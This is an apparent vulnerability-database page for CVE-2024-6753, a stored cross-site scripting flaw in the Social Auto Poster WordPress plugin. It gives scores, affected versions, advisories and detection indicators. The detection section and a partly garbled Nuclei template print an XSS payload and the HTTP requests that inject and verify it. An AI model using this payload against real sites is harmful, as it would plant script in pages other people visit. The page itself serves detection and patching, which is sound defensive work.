CVE-2024-6753
published 2024-07-24CVE-2024-6753: The Social Auto Poster plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the ‘mapTypes’ parameter in the…
PriorityP279medium6.1CVSS 3.1
AVNACLPRNUIRSCCLILAN
ITWEXPLOITVulnCheck KEV
Exploited in the wild
EPSS
0.78%
51.4th percentile
The Social Auto Poster plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the ‘mapTypes’ parameter in the 'wpw_auto_poster_map_wordpress_post_type' AJAX function in all versions up to, and including, 5.3.14 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
Affected
2 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| wpweb | social_auto_poster | <= 5.3.14 | — |
| wpwebinfotech | social_auto_poster | < 5.3.15 | 5.3.15 |
Detection & IOCsextracted from sources · hover to see the quote
url/wp-admin/admin.php?page=wpw-auto-poster-settings
othermapTypes=<script>alert(document.domain)</script>&postType=post
- →A successful exploitation response returns HTTP 200 with a JSON body containing '{"status":"success"}' and Content-Type text/html; monitor for this pattern following requests with XSS payloads in mapTypes.
- →The vulnerability is exploitable by unauthenticated attackers; monitor for AJAX requests to wpw_auto_poster_map_wordpress_post_type without valid authentication cookies. ↗
- →Check for the presence of injected script content (e.g., alert(document.domain)) in the body of /wp-admin/admin.php?page=wpw-auto-poster-settings as an indicator of a successful stored XSS injection.
- →Monitor for the wordpress_logged_in cookie being set after login (HTTP 302 with 'wordpress_logged_in' in the header) as part of a multi-step exploitation chain targeting this vulnerability.
- ·The vulnerability affects all versions of the Social Auto Poster plugin up to and including 5.3.14; ensure version scope is confirmed before applying detections. ↗
CVSS provenance
nvdv3.16.1MEDIUMCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
vulncheck7.2HIGH
CVEs like this are exactly what “Exploited This Week” covers.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
GHSA
GHSA-2vfh-6ppw-453g: The Social Auto Poster plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the ‘mapTypes’ parameter in the 'wpw_auto_poster_map_word
ghsa_unreviewed·2024-07-24
CVE-2024-6753 [HIGH] CWE-79 GHSA-2vfh-6ppw-453g: The Social Auto Poster plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the ‘mapTypes’ parameter in the 'wpw_auto_poster_map_word
The Social Auto Poster plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the ‘mapTypes’ parameter in the 'wpw_auto_poster_map_wordpress_post_type' AJAX function in all versions up to, and including, 5.3.14 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
VulnCheck
wpwebinfotech social_auto_poster Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
vulncheck·2024·CVSS 7.2
CVE-2024-6753 [HIGH] wpwebinfotech social_auto_poster Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
wpwebinfotech social_auto_poster Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
The Social Auto Poster plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the ‘mapTypes’ parameter in the 'wpw_auto_poster_map_wordpress_post_type' AJAX function in all versions up to, and including, 5.3.14 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
Affected: wpwebinfotech social_auto_poster
Required Action: Apply remediations or mitigations per vendor instructions or discontinue use of the product if remediation or mitigations are unavailable.
Exploitation References: https://patch
No detection rules found.
Nuclei
Social Auto Poster <= 5.3.14 - Stored Cross-Site Scripting
nuclei·CVSS 6.1
CVE-2024-6753 [MEDIUM] Social Auto Poster <= 5.3.14 - Stored Cross-Site Scripting
Social Auto Poster alert(document.domain)&postType=post
matchers:
- type: dsl
dsl:
- 'contains(body, "{\"status\":\"success\"}")'
- 'contains(content_type, "text/html")'
- 'status_code == 200'
condition: and
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
Cookie: wordpress_test_cookie=WP+Cookie+check
log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
matchers:
- type: dsl
dsl:
- 'status_code == 302'
- 'contains(header, "wordpress_logged_in")'
condition: and
internal: true
- raw:
- |
GET /wp-admin/admin.php?page=wpw-auto-poster-settings HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'contains(body, "alert(document.domain)")'
- 'contains(content_type, "text/html")'
- 'status_code == 200'
condition: and
# d
https://codecanyon.net/item/social-auto-poster-wordpress-scheduler-marketing-plugin/5754169https://www.wordfence.com/threat-intel/vulnerabilities/id/3c268a6d-dfb4-4a9d-802e-80e5c1c53ca2?source=cvehttps://codecanyon.net/item/social-auto-poster-wordpress-scheduler-marketing-plugin/5754169https://www.wordfence.com/threat-intel/vulnerabilities/id/3c268a6d-dfb4-4a9d-802e-80e5c1c53ca2?source=cve
2024-07-24
Published
Exploited in the wild